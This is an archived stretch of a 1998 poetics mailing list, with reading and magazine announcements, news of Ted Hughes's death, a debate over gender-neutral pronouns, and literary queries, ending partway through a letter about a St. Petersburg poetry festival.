Laura gave me a good idea. Why not just a shit? For example, "The Poet, whatever shit's class, race, shoe size or lyric gift, must necessarily, at this late stage

of the Twentieth Century be responsible at least for shit's own typos, hairdos, gaps between front teeth and gaps between words. Shit MUST give a shit.

On Wed, 28 Oct 1998, Laura E. Wright wrote:

> *A she or an it or gladly a they but never a he,*
> *Laura*
> *--*
> *Laura Wright, Library Assistant*
> *Allen Ginsberg Library, The Naropa Institute*
> *2130 Arapahoe Ave*
> *Boulder, CO 80302*
> [redacted]
> * * * * * *
> *"Then there was a situation with tufts (and flowers). This did not agree*
> *with me either, and time just kept on passing."*
> *(Henri Michaux)*

↑ Index

840. **Lawrence Upton.**
(no subject)
Wed 28 Oct 1998

Does anyone have a snailmail and / or email for Lucas Mulder and for Bill Keith. If you do could you backchannel?

Thanks

Lawrence Upton

---------- Lawrence Upton's website: http://members.spree.com/sip/lizard/
---------- "WORD SCORE UTTERANCE CHOREOGRAPHY in verbal and visual poetry" edited by Bob Cobbing and Lawrence Upton Writers Forum, London, 1998; 156 pp; ISBN 0 86162 750 4

↑ Index

841. **Sylvester Pollet**
Re: java in NY: reading announcement (fwd)
Wed 28 Oct 1998

Charles, could you please ask them (& post the response) how one might order a sample copy of Java? Thanks, Sylvester

At 1:07 PM -0500 10/28/98, Charles Bernstein wrote:
>>Date: Wed, 28 Oct 1998 12:45:04 -0500
>>From: Stacy Doris <[redacted]>
>
>Sun. Nov. 8, 6:30 (right before the Bill Luoma Ted Greenwald reading there)
>
>At Zinc Bar 90 West Houston St (at LaGuardia Place), NYC
>
>Jacques Sivan, Vannina Maestri, Jean-Michel Espitallier, editors of Java, a
>French poetry magazine featuring vibrant new French writers (what some of
>you complain don't exist) will present their magazine and a bit of their
>writing (translated by Chet Wiener, Kristin Prevallet, Stephen Rodefer).
>
>They'll also take questions.

↑ Index

842. s. kaipa

I n t e r l o p e #2, THE COSMOPOLITANS by Sianne Ngai & Brian Kim, Stefans has just hit the newsstands!

Wed 28 Oct 1998

I n t e r l o p e magazine presents its second issue (a chapbook):

THE COSMOPOLITANS
A Poem by Sianne Ngai and Brian Kim Stefans

Send $3.50 (US Dollars only) for a copy of this issue, OR
$7.00 for a copy of this issue plus the back issue (featuring Warren Liu,
Hoa Nguyen, Tina Celona, and Amar Ravva), OR
$10.00 for a subscription of 3 issues, OR
$12.00 for a subscription of 4 issues.

I n t e r l o p e:
a journal of asian american poetics & issues
Summi Kaipa, editor
103 S. Governor, #1
Iowa City, IA 52240
[redacted]

WATCH FOR FUTURE ISSUES OF THE MAGAZINE including work by Sesshu Foster, Ida Yoshinaga, and more . . .

↑ Index

843. Kathy Lou Schultz
Re: Faculty at CSU--Sacramento?
Wed 28 Oct 1998

Hello Charles! Some Lipstick shall be sent your way this week Thank you! Thanks also for info re: Sac State. I'm trying to find out what the "climate" in the department is like in relation to experimental poetics and teaching poetry in general, what sorts of students one encounters there (in grad and undergrad progs.) Could you fill me in a bit on Dennis Schmitz? I'm afraid I'm not familiar with his work. Lipstickly yours, Kathy Lou

[redacted] wrote:
>
> hi Kathy Lou,
>
> I'm not affiliated w/ Sac State at all, but can tell you that Dennis Schmitz
> has been the creative writing (poetry) teacher there for years. I could
> probably find out other names if you need them.
>
> Lemme order some Lipstick now. I'll get a check for $8 in the mail to you
> today.
>
> all best,
>
> Charles Smith
> 2135 Irvin Way
> Sacramento, CA 95822
>
> << Does anyone know anyone (etc.) who teaches English and/or creative
> writing at Cal State Univ.--Sacramento? Would appreciate any replies,
> backchannel please and thank you.
> Kathy Lou >>

↑ Index

844. david bromige
ba(i)ted breath
Wed 28 Oct 1998

Laura, possibly you mean baited breath, as in, "I had tuna for lunch," but I bet you mean bated.

(db3, hurrying to beat Bowering to the Corrective Curmudgeon punch).

↑ Index

845. Karen and Trevor
more addresses
Wed 28 Oct 1998

I know, it is just never-ending.

But if anyone has e-mail or phone (I already have snail mail) for the following individuals:

Jena Osman
Dan Machlin
Eileen Tabios
Megan Simpson
Juliana Spahr

Thank you thank you.
Karen McKevitt

↑ Index

846. Karen and Trevor
typographical speak
Wed 28 Oct 1998

All this talk about editors and whatnot has me wondering if there is any mailing list or website that has an ongoing conversation about copyediting, usage, etc. For instance, if I had a specific question that I needed answered rather quickly or maybe I just wanted to debate the use of certain punctuation, well I'm sure you know what I mean... Any resources?

Karen McKevitt

↑ Index

847. Kathy Lou Schultz
Re: MLA MATTERS
Wed 28 Oct 1998

For us non-MLAers, does anyone have info on how to register for the conference? I went to the MLA Web site and there is no such information--even though a prominent, sexy link promises such. But, gee, why would a Web site have any USEFUL info?

Much appreciated.

Kathy Lou

p.s. Thanks for posting info on Duncan panel, readings, etc.

↑ Index

848. **Susan Schultz**
Re: I n t e r l o p e #2, THE COSMOPOLITANS by Sianne Ngai & Bria...
Thu 29 Oct 1998

Summi--I'm ordering front channel from you (the $7 package) only cuz I wanted to pump the forthcoming Ida Yoshinaga material; she's published several times in _Tinfish_, very fine work. Everyone take heed!

Susan Schultz

↑ Index

849. **Leonard Brink**
Another gimmick,Elizabeth Robinson
Thu 29 Oct 1998

Thanks to everyone who responded to the Inscape #3 offer, which "sold" out very quickly. For those of you who are fond of Elizabeth Robinson's poems I would like to put her chapbook, _Other Veins, Absent Roots_ in your hands. Again, free, to the first 20 respondents.

Leonard Brink
Instress

↑ Index

850. **Todd Baron /*/ ReMap**
Re: I n t e r l o p e #2, THE COSMOPOLITANS by Sianne Ngai & Bria...
Thu 29 Oct 1998

Susan Schultz wrote:
>
> Summi--I'm ordering front channel from you (the $7 package) only cuz I wanted
> to pump the forthcoming Ida Yoshinaga material; she's published several times
> in _Tinfish_, very fine work. Everyone take heed!
>
> Susan Schultz

Let me sound like a "school" (skool) teacher here--
but gosh--I went away for a weekend and came back to
178 messages from the list! MOST had no conversational tone to
them--MOST were really e----------mails--which required only a
specifically personal reply---

so--er--i guess I'm saying--yikes--
a poetics list--could it sometimes be only focused on a
POETICS--

Todd B.

ps: Yes, I am a "skool"ed lister

↑ Index

851. Jim Andrews
Keppler/Andrews visual poetry show
Thu 29 Oct 1998

---

http://speakeasy.org/~jandrews/vispo/images/GarbOTheGods/LanguimageAtMocambo.html links to a notice about the collaborative visual poetry show by Jim Andrews and Joseph F. Keppler happening Nov 1-27 in Victoria BC Canada.

↑ Index

852. Pierre Joris
[Fwd: Ted Hughes is dead]
Thu 29 Oct 1998

Douglas Clark wrote:

> *poetry etc - a list administered by John Kinsella -*
> *http://www.geocities.com/SoHo/Square/8574/*
>
> *after an 18-month battle with cancer. Just reported on BBCTV news.*
>
> ---
> *Start Your Own FREE Email List at http://www.listbot.com/*

↑ Index

853. Mairead Byrne
Re: I n t e r l o p e #2, THE COSMOPOLITANS by Sianne Ngai & Bria...
Thu 29 Oct 1998

If this is a sample of conversation, I'll pass.
>
> Let me sound like a "school" (skool) teacher here--
> but gosh--I went away for a weekend and came back to
> 178 messages from the list! MOST had no conversational tone to
> them--MOST were really e----------mails--which required only a

> specifically personal reply---
>
> so--er--i guess I'm saying--yikes--
> a poetics list--could it sometimes be only focused on a
> POETICS--
>
> Todd B.
>
> ps: Yes, I am a "skool"ed lister
>

↑ Index

854. Jordan Davis
now accepting orders for The Hat
Thu 29 Oct 1998

The Hat No. 1

Catherine Barnett
Brenda Coultas
Tonya Foster
Greta Goetz
Lisa Jarnot
Janice Lowe
Kimberly Lyons
Carol Mirakove
Ange Mlinko
Cynthia Nelson
Hoa Nguyen
Alice Notley
Prageeta Sharma
Juliana Spahr

The Hat is published twice a year. One-year subscription: $12. Price per single issue: $7. Lifetime subscription: $1000. Make checks payable to Jordan Davis.

Editors: Jordan Davis and Chris Edgar

Please send correspondence to:

The Hat
c/o Edgar
331 E 9th St Apt 1
New York NY 10003

Contributors will be receiving their copies in the next few weeks.

↑ Index

855. **Pritchett,Patrick**

Re: crow croaks

Thu 29 Oct 1998

October 29, 1998

Britain's Poet Laureate Hughes Dies

Filed at 9:57 a.m. EST

By The Associated Press

LONDON (AP) -- British poet laureate Ted Hughes, whose stormy marriage to the anguished American poet Sylvia Plath dogged his reputation after her suicide, has died. He was 68.

Hughes died Wednesday at his home in Devon after an 18-month battle with cancer, which he had kept secret, said Matthew Evans, chairman of Hughes' publishing company, Faber and Faber.

``Not only was he one of the greatest poets of the 20th century, but he was the most extraordinary man,'' Evans said today. ``The loss to his family is inestimable.''

A collection of searingly intense poems published by Hughes this year called ``Birthday Letters'' shed new light on his difficult six-year marriage to the tortured Plath, brought him sympathy and won him rave reviews.

The reclusive Hughes chose not to defend himself after Plath's suicide on Feb. 11, 1963, months after he had left her for another woman. She gassed herself in the kitchen, leaving milk and cookies for the couple's two children in the next room.

Some Plath fans had called Hughes a murderer, and his name was repeatedly hacked off her gravestone in Yorkshire, northern England.

Evans noted that there was ``a great deal of understanding'' after Hughes put forth his story for the first time -- and revealed the obvious depth of his love for Plath -- in the 88 poems that make up ``Birthday Letters,'' chronicling the couple's meeting, marriage and separation.

The poems surprised many with their startling intimacy they revealed. Of the first time the couple made love, Hughes wrote:

``You were slim and lithe and smooth as a fish.

You were a new world. My new world.

So this is America, I marveled.

Beautiful, beautiful America.''

Hughes, poet laureate since 1984, refused to be interviewed about the poems, which span 25 years beginning in the late 1960s.

But in a letter read by his editor, Christopher Reid, he called the book ``a gathering of the occasions -- written with no plan over about 25 years -- in which I tried to open a direct, private, inner contact with my first wife, not thinking to make a poem, thinking mainly to evoke her presence to myself and to feel her there listening.''

Hughes and Plath married in 1956 after meeting at Cambridge. They went to the United States in 1957, where she taught at Smith College and he taught at the University of Massachusetts. They returned to England in 1959 and continued to write and publish poetry.

Plath had had a history of mental problems and had first attempted suicide three years before meeting Hughes.

Poet Andrew Motion, writing in The Times of London, said reading ``Birthday Letters'' was ``like being hit by a thunderbolt.''

``Anyone who thought Hughes's reticence was proof of his hard heart will immediately see how stony they have been themselves,'' Motion wrote. ``It closes in a heart of darkness, a black hole of grief and regret. We stare into it feeling changed and enriched.''

The book was dedicated to the couple's children, Nicholas and Frieda.

At the time of its publication, Frieda, a 34-year-old artist, said in a newspaper interview that she had lived under the burden of her mother's suicide.

``I never read my parents' poetry until a couple of years ago,'' she said. ``I even rejected the chance to study my father's work for school exams. It was too close to home.''

Hughes was the son of a carpenter, born Aug. 17, 1930, in the bleak mill town of Mytholmroyd in Yorkshire, northern England.

He began writing poems in grammar school. After studying at Cambridge University, he took a number of part-time jobs to support his writing.

His first volume of poems, ``Hawk in the Rain,'' was published in 1957 and set the scene for his later work with its unsentimental and savage view of the natural world.

Hughes, who remarried in 1970, published more than 35 poems and collections of verse, three works of prose, two opera libretti and four stage plays. He was a successful children's writer as well, publishing five poetic works for young

people and seven stories including the popular ``The Iron Man'' -- published in 1968 in the United States as ``The Iron Giant.''

In January, he won the Whitbread Book of the Year award for ``Tales of Ovid,'' his reworking of Ovid's ``Metamorphosis,'' which the judges described as a work of ``greatness and sublimity.''

Hughes' last appearance in public was 13 days ago, when he accepted the Order of Merit, a rare honor, from Queen Elizabeth II at Buckingham Palace.

The queen was ``very saddened and will be in touch with his family. She was grateful for the opportunity to recognize his work and achievements before he died,'' a palace statement said.

Prime Minister Tony Blair issued a statement saying, ``He was a towering figure in 20th century literature who even in his last years was producing great works.''

↑ Index

856. **Charles Alexander**

Re: now accepting orders for The Hat

Thu 29 Oct 1998

> *The Hat is published twice a year. One-year subscription: $12. Price per single issue: $7. Lifetime subscription: $1000. Make checks payable to Jordan Davis.*

I have to admire the ambition here. Assuming there is no discount at all for the lifetime subscription, then the $1000 charge means that The Hat projects a publishing lifetime of more than 83 years -- not to mention that the lifetime subscriber also hopes to live at least 83 more years.

And I thought longevity and stability were old values, washed away into the crevasses of post-industrial society's shifting centers of identity and meaning. You renew my faith in American stick-to-it-iveness.

charles

↑ Index

857. **KENT JOHNSON**

Re: 5 guys named Mo

Thu 29 Oct 1998

On 29 Oct., Jonathan Mayhew wrote:

"To defend the list... while there is always too much 'noise' on the channel, where else can I find 500 people as knowledgable and obsessed about poetry as I am? "Poetics" has put me in contact with old friends, helped me make new

ones by back-channel, and provided high-powered discussion of important issues."

Oh yeah? Well, speaking for myself... Since I joined"Poetics" about two years ago, I have pissed-off and lost the only "old friend" that was on the List to begin with, made most people hate me (though I seem to have come in at a disadvantage from the get-go), made one or two acquaintances back-channel who soon stopped writing me, and driven myself continuously crazy trying to follow the esoteric and high-powered discussion of ultimately meaningless issues.

But I love being here.

Kent

↑ Index

858. **MAYHEW**
5 guys named Mo
Thu 29 Oct 1998

To defend the list... while there is always too much 'noise' on the channel, where else can I find 500 people as knowledgable and obsessed about poetry as I am? "Poetics" has put me in contact with old friends, helped me make new ones by back-channel, and provided high-powered discussion of important issues.

I can hardly criticize people who post too much, being one of the worst offenders, but I would like to hear more from the silent majority...

Jonathan

↑ Index

859. **joel lewis**
f.y.i.
Thu 29 Oct 1998

*** British Lord's ashes fired off in cannon

LONDON (Reuters) - The ashes of an eccentric British peer were fired from an 18th century cannon to their final resting place - a wooded copse on his country estate. The 7th Lord Newborough, a war hero with a colorful past, left his son specific instructions about his offbeat farewell. His heir duly obliged on the family's Denbighshire estate, firing his ashes in a steel canister. The cannon burst briefly into flames and rolled down a hill but safely propelled the ashes into the copse. "I think my father would have allowed himself a wry smile," the 8th Lord Newborough told the Daily Telegraph newspaper after the parting shot. ###

↑ Index

860. **schuchat**
Re: now accepting orders for The Hat
Thu 29 Oct 1998

Charles Alexander wrote:
>
> >The Hat is published twice a year. One-year subscription: $12. Price per
> >single issue: $7. Lifetime subscription: $1000. Make checks payable to
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>
> I have to admire the ambition here. Assuming there is no discount at all
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> the lifetime subscriber also hopes to live at least 83 more years.
>
> And I thought longevity and stability were old values, washed away into the
> crevasses of post-industrial society's shifting centers of identity and
> meaning. You renew my faith in American stick-to-it-iveness.
>
> charles

no, there is simply an inflation assumption built in, though the conventional wisdom now is deflation, not inflation. but inflation could always return, according to Chairman Greenspan.

against inflation, against deflation
for flation

↑ Index

861. **david bromige**
5 guys named Mo
Thu 29 Oct 1998

I for one dont hate you, Kent Johnson,--I am very glad to have made yr e-quaintance, and even if you did bump me on the court once or twice, you have given me some good games. I admire both your post, and Jonathan Mayhew's, for its balanced evaluation of this List, which, let me testify, galvanized my life during the early months I was on it. Yeah, I'm a bit jaded now, more inclined to find fault with it,--I miss the whacky humor of 2 years ago, for instance,-- but there is so much that is positive about it, and its better than 50 newspapers.

I know I posted 5 times in one day recently, but I have let days go by w/o posting once, and will try to sin no more. (Am _I_ Mo?)

+ + + + + +

For us few older codgers on this List, the news of Ted Hughes' demise--whatever we think of his poetry--must set that old "Exit" sign flashing again. He was just recently arrived when we came in, and--in the twinkling of a moment, a mere 4 decades--gone. Timor mortis conturbat me. It's a clear blue day here in NoCal. David

↑ Index

862. **Jordan Davis**
Poetry City Fall 1998
Thu 29 Oct 1998

Tonight, October 29, 7 pm
Bill Luoma & Tony Lopez

Thursday, November 5, 7pm
Mercedes Roffe & Robert Kocik

Thursday, November 12, 7 pm
Alissa Quart & Katy Lederer

Thursday, November 19, 7 pm
Emer Marten

THANKSGIVING -- NO READING

Thursday, December 3 -- NO READING

Thursday, December 10, 7 pm
Kenneth Koch & Eileen Myles

Thursday, December 17, 7 pm
Frank Perez & Alba Delia Hernandez

Poetry City
in the offices of Teachers & Writers Collaborative
5 Union Square West, 7th Floor, New York City
Anna Malmude and Jordan Davis, hosts

Funded in part by gifts from the National Endowment for the Arts and the New York State Council for the Arts

All readings are free

↑ Index

863. **Roger Farr**
Ted Hughes
Thu 29 Oct 1998

BBC, UK

Poet Ted Hughes dies

Ted Hughes: Kept his illness a secret

One of Britain's most admired literary figures, the Poet Laureate, Ted Hughes, has died aged 68.

Mr Hughes died peacefully at his home in Devon after an 18-month battle with cancer that he had kept secret from all but those very close to him.

The writer was named Poet Laureate in 1984 and was widely acclaimed for the intense images he evoked of the English countryside and the savagery of the animal world.

The Queen and the prime minister were among the first to express their condolences.

Mr Hughes made his final public appearance at a private audience with the Queen 13 days ago, when she presented him with the Order of Merit.

An official spokesman at Buckingham Palace said: "She was grateful for the opportunity to recognise his work and achievements, before he died, through the award of the Order of Merit."

Tony Blair called Mr Hughes a "towering figure in 20th-century literature", and said the poet's contribution to the body of great British poetry was immense.

Although famed for his dark imagery of the British countryside, the poet was also renowned in literary history for his marriage to American poet Sylvia Plath.

Their stormy relationship dogged his reputation after she committed suicide in

February 1963, soon after he
left her for another woman.

A collection of poems
published by Hughes this
year, Birthday Letters, shed
new light on his difficult
marriage and brought him
sympathy along with rave
reviews.

He was awarded a £10,000 Forward Poetry prize for the
collection earlier in October.

He said in a message read out at the
awards by his editor Christopher Reid:
"My book Birthday Letters is a
gathering of the occasions - written
with no plan over about 25 years - in
which I tried to open a direct, private, inner contact with
my first wife, not thinking to make a poem, thinking
mainly to evoke her presence to myself and to feel her
there listening."

The reclusive Hughes had chosen not to defend himself
against a storm of abuse from fans of Sylvia Plath, some
of whom branded him a murderer after her suicide.

The poet made few public
appearances and, until the publication
of Birthday Letters, made no
comment on his six-year marriage.

But the poems showed that although he remarried, he
had never stopped thinking about Sylvia Plath.

Kept tightly under wraps with none of the fanfare usually
accorded publishing events, it came as a complete
surprise to the literary world.
Hughes' death will come as a similar surprise to many.

↑ Index

864. Aldon Nielsen
"In which will be found what is set forth therein."
Thu 29 Oct 1998

1) somebody was asking about MLA conference registration -- the date to get the lower rate by mail is now long past -- which means it's easiest simply to register at the conference itself -- but the steep price is daunting -- there IS a lower rate for students,,,, also daunting would be the prospect of trying to find a hotel room at this late date --

BUT, there are several sessions open to the public -- I think they're identified in the on-line version of the program (since they are in the printed version)

the reading by Bromige, Hejinian & Scalapino IS among the events open to the public for free -- the panel I'm on is not one of the free sessions, and I am sure that will cause no end of pain to everybody on this list --

2) a footnote to the comments about judging past personages by present standards etc -- I think anybody who'd read much of George Washington's writing would have to agree that he was a racist -- but more importantly, the question raised about judging the likes of the father of our country by today's standard's usually betrays a significant narrowing of what might stand as a standard IN the past -- for example, what did Africans in America think about the question? Phillis Wheatley gives us one set of answers,,,, there are others -- My point is simply that the argument that we might attempt to understand the thinking of Thomas Jefferson or Benjamin Franklin from the viewpoint of their contemporaries isn't such a bad idea in itself, but is generally put forward by people who do not, in fact, include enough of those contemporaries in their construction of the past standards --

3) Hi, Todd -- how's the old caesura doing?

4) generally no real need for "he or she" or the reprehensible "s/he" -- nine times out of ten the issue can be addressed by a plural address (Oh, why didn't the parents of our mother tongue bless us with a neuter pronoun?) -- for example, instead of "The writer should observe his or her pronominal imperatives," why not "Writers should mind their Ps & Qs."

↑ Index

865. Aldon Nielsen
happier news
Thu 29 Oct 1998

The Juan Rulfo International Latin American and Caribbean Prize for literature has been awarded to poet Olga Orozco of Argentina. She has published ten volumes of poetry, most of which are not available to us in the U.S. -- but a few

selections are on view in U of Texas Press' "Twentieth Century Latin American Poetry."

↑ Index

866. **acgold01**
Brion Gysin question
Thu 29 Oct 1998

Here's a (vaguely related to poetics) question: does any of you know about possible connections between Gysin and the Surrealists? I had the notion that somewhere Gysin said Breton had thrown him out of the Surrealist movement, but I may be way off--would be interested in confirmation / disconfirmation of that, further information, etc. The context for this question is that I have a student who's trying to track a web of connections from Tzara / Dada to Surrealism to Gysin to Burroughs as he writes about *The Ticket That Exploded*, *Nova Express* and *The Soft Machine*.

Thanks,

Alan

↑ Index

867. **Christopher Reiner**
New address for Avec Books site
Thu 29 Oct 1998

The web site for Avec Books is now located at:

http://www.litpress.com/avec/

If your site has a link to the Avec site, please make this correction (although the old site will have a link to the new one). Thanks.

--Chris Reiner

↑ Index

868. **david bromige**
s/hee-it
Thu 29 Oct 1998

I am astonished to find Dr.Nielsen, usually the most sensible and perspicacious of persons, reprehending the use of "s/he." Since I think this a convenient solution to the problem, I must inquire of A.N. what are the grounds of his finding a term adopted not only by many of our peers, but by me myself, to be reprehensible? How does he feel about either/or? Both/and? Am I going to have to give up these as well,in order not to offend the eye/ear of my dear friend? David

↑ Index

869. **Brian Carpenter**
Re: Brion Gysin question
Thu 29 Oct 1998

I've heard the story of Gysin being thrown out by Breton on a few occassions, but don't know much of the details beyond that. A good book which does gives some treatment to Gysin's art and his history is Robert A. Sobieszek's _Ports of Entry: William S. Burroughs and the Arts_ (Los Angeles: Los Angeles County Museum of Art, 1996.) Sobieszek also covers the cut-up novels, and he provides a large number of plates of a variety of other cut-up experiments done in that period as well.

BC

↑ Index

870. **F. W. Perrella**
Creative NonQuictions Contest - Web Del Sol
Thu 29 Oct 1998

Hello all:

If the writing you do includes creative nonfiction, you might want to consider the Creative NonQuiction contest sponsored jointly by Web Del Sol and the editors of 5_Trope and Brevity. Creative NonQuiction is defined as creative nonfiction that's very quick - 250 words or less.

Contest guidelines are at http://webdelsol.com/cnq.htm

Judges for the contest are Joel Chace, poetry editor for 5_Trope (http://webdelsol.com/5_trope), and Dinty W. Moore, editor of Brevity (http://cac.psu.edu/~dwm7/notart.htm).

The entry fee is $5 for two creative nonQuictions (250 words or less for each nonQuiction); *all* entry fees will be awarded out as prize money. First prize is $250 (guaranteed minimum - if entry fee total is higher, then first prize is 50% of entry fee total); second prize is 35% of entry fee total, third prize is 15% of entry fee total.

Entries must be snailed to:
Creative NonQuiction Contest
c/o Web Del Sol
2020 Pennsylvania Ave, NW
Ste 443
Washington DC 20006

Deadline January 31, 1999

Checks are to be made payable to "Michael Neff/Editor, Web Del Sol"

Give it a try and see what you can come up with!

Thanks,

Anne Perrella

↑ Index

871. **Aldon Nielsen**
Re: s/hee-it
Thu 29 Oct 1998

At 11:31 AM 10/29/98 -0800, you wrote:
>I am astonished to find Dr.Nielsen, usually the most sensible and
>perspicacious of persons, reprehending the use of "s/he." Since I think
>this a convenient solution to the problem, I must inquire of A.N. what are
>the grounds of his finding a term adopted not only by many of our peers,
>but by me myself, to be reprehensible? How does he feel about either/or?
>Both/and? Am I going to have to give up these as well,in order not to
>offend the eye/ear of my dear friend? David
>

Nobody calls me "perspicacious" and gets away with it! (Though I was once asked to be "perspicuous.")

"s/he" is as impossible to pronounce [is the "/" silent here, as in "either / or"] as it is to affect -- effect? and why is it "s/he" and not "h/se"?

I know some people alternate gender from one paragraph to another, but I have always found that profoundly unsatisfying --

sincerly,
the artist formerly known as "himself"

↑ Index

872. **MAXINE CHERNOFF**
Re: Routine Disruptions
Thu 29 Oct 1998

Routine Disruptions is necessary reading. We should all be grateful that Kenward's entire circus is conveniently located now in one big tent.

Maxine Chernoff

↑ Index

873. miekal and
mestostic / 8 ply
Thu 29 Oct 1998

mestostic for dick higgins

subsiDized
productIons
reCultivating
speaKs

sucH
Itself
buildinG
Grind
exIst
directioN
improviSation

_____

words extracted from "foew&ombwhnw" by dick higgins

↑ Index

874. KENT JOHNSON
I'm fine, really
Thu 29 Oct 1998

Dear List:

It seems I must clarify, for since posting my 5 Moe thing people have been writing me to say that they don't really hate me, that everything will be all right. Even David Bromige, my favorite ironist, whom I used to believe could read the tongue in cheek in brail even, posts to the world to say he doesn't really hate me. (Of course, it does occur to me that he is perhaps being ironic, but I shall take him at his word.) So I thank you all, but holy cow! Now I feel somehow like Huck Finn at his own funeral, though I don't know if that is the best analogy. Probably it isn't.

Anyway, I would like to say, for the record, that even though my reputation among some listees is not top of the charts, I have quite a few b-c friends and am not lonely at all. A practicing Buddhist, I even have good feelings for those who think I'm a racist and all that, and daily I ask Jesus to take away my anger toward them.

So don't worry about me. I'm fine, really.

Kent

↑ Index

875. **Pritchett,Patrick**
FW: CFP: Postmodern Genres (3/1; MLA '99)
Thu 29 Oct 1998

Thought this might be of interest to some...

From: Gene Bernard Suarez
To: [redacted]
Subject: CFP: Postmodern Genres (3/1; MLA '99)
Date: Wednesday, October 28, 1998 11:43PM

P O S T M O D E R N G E N R E S

Soliciting papers for MLA 1999: Chicago, on the subject of Postmodern Genres which might include papers on: video art, the interview, the talk show, contemporary poetry, fiction, theory, painting, architecture, music, etc.

Send one or two page abstracts (or entire papers 8 pps. max) to Postmodern Genres c/o Gene Bernard Suarez, Department of English, Stanford, CA 94305-2087 or paradox @ leland.stanford.edu

==========
From the Literary Calls for Papers Mailing List
[redacted]
Full Information at
http://www.english.upenn.edu/CFP/
or write Jack Lynch: [redacted]

==========

↑ Index

876. **KENT JOHNSON**
fishnet
Thu 29 Oct 1998

I meant DB could read "the tongue in cheek in _braille_." I just looked at my dictionary and see that a "brail" is a fishnet of sorts. There is a joke here somewhere, probably, involving stockings.

Kent

↑ Index

877. **David Zauhar**
Re: Brion Gysin question
Thu 29 Oct 1998

On Thu, 29 Oct 1998 [redacted] wrote:

> Here's a (vaguely related to poetics) question: does any of you know
> about possible connections between Gysin and the Surrealists? I had the
> notion that somewhere Gysin said Breton had thrown him out of the
> Surrealist movement, but I may be way off--would be interested in
> confirmation / disconfirmation of that, further information, etc. The
> context for this question is that I have a student who's trying to track
> a web of connections from Tzara / Dada to Surrealism to Gysin to
> Burroughs as he writes about *The Ticket That Exploded*, *Nova Express*
> and *The Soft Machine*.
>
> Thanks,
>
> Alan
>

I seem to remember that Gysin was tossed from the surrealists, in BG's words, for insubordination and a refusal to get with the program. I read a book not long ago called _Writing at Risk_ edited by Jason Weiss, which contains a couple of interviews w/ Gysin and if memory serves, Gysin addresses that question. I wonder if Gysin might make a cameo in that Breton biography that came out 1-2 years back. Finally, the good ol' DLB might be a good place for your student to start looking, too.

David Zauhar
University of Illinois at Chicago

"And I remember somebody leaning up against the dirt wall of the hillside, deriding William Carlos Williams, when suddenly there was a loud roaring, crunching noise and a chunk of the hill fell off and covered the person up to his neck. The person, being a young classical poet fresh from NYU, begun screaming that he was being buried alive. Fortunately, the landslide stopped and we dug him out and dusted him off. That was the last time he said anything against William Carlos Williams. The next day he began reading _Journey to Love_ rather feverishly."

--Richard Brautigan.

↑ Index

878. George Bowering
Re: I'm fine, really
Thu 29 Oct 1998

> *Anyway, I would like to say, for the record, that even though my reputation among some listees is not top of the charts, I have quite a few b-c friends and am not lonely at all. A practicing Buddhist, I even have good feelings for those who think I'm a racist and all that, and daily I ask Jesus to take away my anger toward them.*
>
> *So don't worry about me. I'm fine, really.*
>
> *Kent*

Doesnt that really make you hate him? Oh, I hate him!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

879. Aldon Nielsen
our corrections
Thu 29 Oct 1998

I WAS wrong -- there is still time for those who want to part with $100 to register in advance for MLA -- the lower rate is only available if postmarked by Dec. 1 ($75.00 for members) --

address is

Modern Language Association
Convention Programs
10 Astor Place
New York, NY 10003-6981

↑ Index

880. A. Jenn Sondheim
Thursday (written by Jennifer, 11th grade!)*
Thu 29 Oct 1998

-

Thursday (written by Jennifer, 11th grade!*)

Dust lay by the side of the road. Dust gathered in the air, held in abey- ance by the thickness of electromagnetic radiations. There were bipolar vortices, hysterias of agglutinated particles. The heat bore down, dried out the last remnants of liquid coursing through the sheen of long-depar- ted ghosts. Throats were parched for lack of oxygen. Everyone in the gay party had mummified into exact replicas of living statues, then toppled by the unforgiving wind! It was a horrifying spectacle, were that any would have been around to perceive it, but the dry air promised that not a single living soul would ever have been in sight. There would have been beautiful refractions of light and dark in the midst of the gather- ing swirls. The surface of the dreary planet was corrupted, too, and all vestiges of life were removed forever. No one would ever know what beau- tiful people had lived and played here, the tiny laughter of chattering children watched by beloved parents. Lovely sliding-boards and swings would have been very rusted, then just disappeared.

Hyenas and beasts howled in the wilderness, themselves deafened by all the battles that had gone on before. Everything just went on like that, but it was all in vein!** Accumulations of refugees had been stopped in their very tracks.** Even their bones were pulverized. It was as if there were an angry god alone in her world forever, because there was no one left to worship Her. And no one would know it was Thursday.

*I must have been thinking about cyberspace!
**Drugs?

↑ Index

881. Maria Damon
from Masha Zavialova, on the Russian Poetry Festival
Thu 29 Oct 1998

To: Maria Damon <[redacted]>
Organization: Private person (St.Petersburg)
Date: Wed, 28 Oct 1998 11:47:42 +0300 (MSK)
From: "Sergei A. Zavialov" <[redacted]>
Subject: festival
Lines: 115

Dear Maria At last I am up to writing. I'm so overwhelmed with the crisis here - and not only the crisis but the way things have been going here since an at- tempt has been made in the 90s to dismantle the Soviet regime. Now it's clear that they should have kept as much as possible from the past structure because now nobody is competent and noble enough to build something decent. Now the festival... Oct 17,18 and 19 in St Petersburg. Moika 12 Pushkin's apartment.

The hall in the former stables is packed full - about 200 paople have come which is a marvel: the crisis in Russia is in full swing. The first two nights poets read - twelve poets every night. The last night - round table and reception. Among Moscow guests - prominent literary figures Lev Rubinstein who read his famous piece "This is me" filing through catalogue cards that he was holding in his hand (he worked as a librarian for many years) - the whole poem is a list of photographs of his family, friends and relatives with short comments, an attempt to catch the time long past and very amusing too. The way he reads holds the audience in suspense. Dmitry Prigov, a master of "sotsart" (socialist art) drawing heavily on soviet idiom. This time he gave a brilliant perfomance singing the first verse of Pushkin's "Evgeni Onegin" as a buddhist monk, Russian Orthodox priest and muslim muezzin. Someone said later:"How could he dare mock Pushkin, the sun of Russian poetry?" That's exactly what Prigov meant - to destroy the ideological structure built in the Soviet times on Pushkin. Bonifatsii (German Lukomnikov) - a charming person and performance artist read some of his short and extremely witty (for us who live here) poems. One of them: "Why don't I fly?" (several times with different modulations of voice but very romantically) And suddenly in a matter-of-fact and slightly offended tone "Why don't I fly? I fly." Dmitry Avaliani showed his inscriptions on large pieces of paper, cardboard, on bowls and other unlikely stuff that could be read upside down too making the two words reveal the inner meanings of each other. He is a superb master of anagrams and palindromes. Dmitry Vodennikov, one of the younger participants, with his outwardly unpretentious poems that manage somehow to convey the capricious mood of his generation, their seeking for the final truths and deconstruction of falsehoods. Viktor Krivulin of St.Petersburg, a basic figure in Russian undergroung literature of Brezhnev's time, opened the first night of readings. Among St.Petersburg poets - 